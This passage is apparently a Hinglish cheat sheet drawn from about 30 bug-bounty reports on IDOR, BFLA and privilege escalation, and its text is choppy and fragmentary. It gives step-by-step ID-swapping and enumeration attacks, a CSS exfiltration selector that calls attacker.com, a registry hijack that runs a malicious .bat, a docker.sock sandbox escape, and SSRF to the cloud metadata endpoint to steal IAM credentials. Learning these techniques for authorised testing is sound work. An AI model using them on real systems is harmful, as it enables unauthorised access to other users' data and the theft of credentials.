// IDOR · BOLA · BFLA · PRIVILEGE ESCALATION — 30 REAL BOUNTY REPORTS
id parameter
user-controlled tha. Server sirf "logged-in" check karta tha, ye nahi dekha ki request
bhejne wale ko us ID par edit karne ka haq hai. Kisi bhi user ki profile badli ja sakti thi.
"id": "A_ID" ko "id": "B_ID" (Victim) se
replace karo.
200 OK aaye aur victim ka data change ho jaye → BUG
CONFIRMED.
GetNotebookScheduledPaginatedJobs endpoint par
projectID user-controlled tha. Server ne sirf login check kiya,
project ownership nahi. Doosre users ke Scheduled Jobs, DB names, aur notebook paths leak
hoye.
projectID, orgID, workspaceID note karo.
booking_id / trip_id teen endpoints par directly accessible thi bina ownership check
ke. Attacker victim ki live location, fare, aur address dekh sakta tha./bookings/ID, /bids/ID, /config?trip_id=ID
id parameter
user-controlled tha. Server ne photo format check kiya, par ownership nahi. Kisi bhi user ki
profile picture badli ja sakti thi — Account Defacement possible."id": "MY_ID" →
"id": "VICTIM_ID"
DELETE request mein bhi IDOR try karo.
booking_id swap karke
doosre ki booking cancel ki ja sakti thi. Cancellation response mein victim ka
email, mobile number, aur UUID bhi leak ho raha tha — double impact!
POST /api/bookings/cancel pakdo.
98765 →
98766 (sequential test)
organization ID aur role change karke doosri org
mein Admin ban sakta tha. UI mein button nahi, lekin API khuli thi — BFLA classic example.
PaginatedOrganizationsQuery se target org UUID niklo.
"organization":"MY_ORG" → "organization":"VICTIM_ORG", "role":"admin".
/bugs.json endpoint par organization_id swap karo — kisi bhi company ki private bugs, titles,
severities, reporters sab leak. $25,000 bounty!/bugs.json, /reports.json capture karo data
loading ke waqt.
organization_id=MY_ID → organization_id=TARGET_ID
limit=1000&page=1 — ek request mein maximum data nikalo.
attachment_ids[]
array mein kisi bhi file ID dalo — cross-report check nahi. Sequential IDs → poora platform
ki PoC videos churi ja sakti thin. $35,500!PUT /reports/ID/summaries/SUM_ID
[3155244] → [3155239] (sequential
±5).
GET /listings/STORE/shop_screenshots/85952
s3.amazonaws.com/screenshots/VICTIM.myshopify.com-ID.jpeg aa raha
hai?
ShellExecute HKCU registry se browser dhoondhta tha. Normal user HKCU
badal sakta hai → Admin privileges ke saath malicious script execute!
HKCU\Software\Classes\ChromeHTML\shell\open\command mein malicious
.bat path dalo.
/files/ID/download protected. /files/ID/ nahi. URL se /download hata dene par
file content + EXIF metadata (internal server paths, permissions) leak. Resource ≠ Action —
dono separately secure karo!/files/ID/download → /files/ID/ → /files/ID
/tmp/thumbs, rw-rw-r-- jaise server-side
paths response mein hain?
--permission flag TCP/IP block karta
tha lekin Unix Domain Sockets (UDS) nahi. Restricted script /var/run/docker.sock se connect hokar root access possible!fetch('http://google.com') blocked? Good, ab UDS try karo.
http:// blocked? unix://, gopher://, file:// try karo.
net.createConnection({path:'/var/run/docker.sock'})
bp_web_trace.log — Base64 admin credentials.
challenge field value → apne OTP ka MD5 hash dalo.
account_id
Base64 decode → ../../redirect?url=INTERNAL inject.
template[] array parameter se Admin function trigger.
input[value^='a']{background:url(attacker.com)} se char-by-char
steal.
query_id swap karne par UI
empty (secure). Lekin "Email Reminder" trigger karne par background job mein session context
nahi → auth bypass → victim data PDF email mein deliver!/widgets.json POST mein query_id victim ki
ID se replace karo.
?phone=2348160817474 parameter tha. OTP verify hone ke baad kisi bhi
number ka dashboard accessible tha sirf URL mein phone badal ke. Transactions bhi control
possible!?phone=2348160817474 → ?phone=2349138557692
project[use_custom_template]=true, project[template_name]=VICTIM_PROJECT
project[group_with_project_templates_id]=1 (victim group
ID).
\r\n inject karne par extra HTTP headers inject ho sakte
hain — ye valid bug hai par ye report invalid tha.\r\n inject karke extra headers add hote hain?
external_status_check_id swap karne par doosre private project ka
status check configuration leak — internal URLs, branch names, access rules. Cross-project
info disclosure./project/1/mr/5/status/10 — sabse aakhri ID badlo.
POST /projects/:id/merge_requests/:iid/status_check_responses
2 → 1 (victim's ID)
5969553 → 5969554
clientid,
campaignid) check hota tha lekin bannerid
ownership check nahi. Apne valid IDs rakho, victim ki banner ID swap karo → doosre
advertiser ke saare ads delete!/client/1/campaign/5/banner/99 — middle IDs apne, last ID victim
ka.
?clientid=MY&campaignid=MY&bannerid=555
bannerid=555 → bannerid=2001
(victim's)
report_id aur hacker_username do alag parameters the. Server ne sirf ye check kiya ki
user ko report_id access hai, par ye nahi kiya ki hacker_username usi report se belong karta
hai. Kisi bhi hacker par fake review post karna possible!hacker_username=jong_jong&report_id=12345
hacker_username=jong_jong → hacker_username=TARGET_HACKER
checkout_ari POST body mein user-controlled tha. Server authorization
skip karta tha — kisi bhi user ka full address, payment card, purchase history leak
possible. Fintech integration weak link!"checkout_ari": "MY_ID" → "checkout_ari": "OTHER_ID"
user_id badal do — kisi bhi user ka email, payment
provider, invoice amount, callback URLs peek bina login ke!/api/v1/orders, /api/v1/checkout — inka auth
check karo.
{"user_id": 20027039} → {"user_id": 89495247}
doc_id swap karne par koi direct data leak nahi hota tha. Lekin
response code 200 hi confirm karta tha ki doosre document ki
permissions badal gayi hain. Blind IDOR — data nahi dikh raha, action ho raha hai!
user_id parameter swap karne se doosre Admin ka API token create ho
jaata tha. Attacker khud Admin hai, lekin doosre Admin ka token generate karke unka
impersonate karna possible — super critical chain!POST /api/v2/users/MY_ID/api_tokens.json
MY_ID →
TARGET_ADMIN_ID
getPost(id: "XYZ") query mein post ID
change karne par private/friends-only posts publicly accessible. Batch queries se 100 IDs ek
request mein test. Introspection enabled → poori schema expose!__schema { types { name fields { name } } } — poori schema
visible?
getPost, getUser, getOrder — query variables note karo.
id: "MY_POST" → id: "PRIVATE_POST_ID"
updatePost(id:"VICTIM", content:"HACKED") bhi kaam karta
hai?
tenant_id ya
organization_id header/body mein user-controlled tha. Server sirf
"valid tenant" check karta tha, "user-belongs-to-tenant" nahi. Cross-company data access =
business-critical breach!X-Tenant-ID header, organization_id body
param, subdomain-based routing.
organization_id — data accessible?
X-Tenant-ID: VICTIM_TENANT header add karo.
GET /exports/JOB_ID/status → victim ka Job ID.
GET /exports/JOB_ID/download — auth check karta hai?
169.254.169.254) hit →
IAM Role credentials steal → AWS CLI with stolen creds → S3 bucket access → Database
credentials → Full RCE. $30,000 bounty!PUT /webhooks/ID/url — dusre user ke webhook URL update kar
sakte?
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2_ROLE
AWS_ACCESS_KEY_ID + SECRET + TOKEN → aws s3 ls → Database access.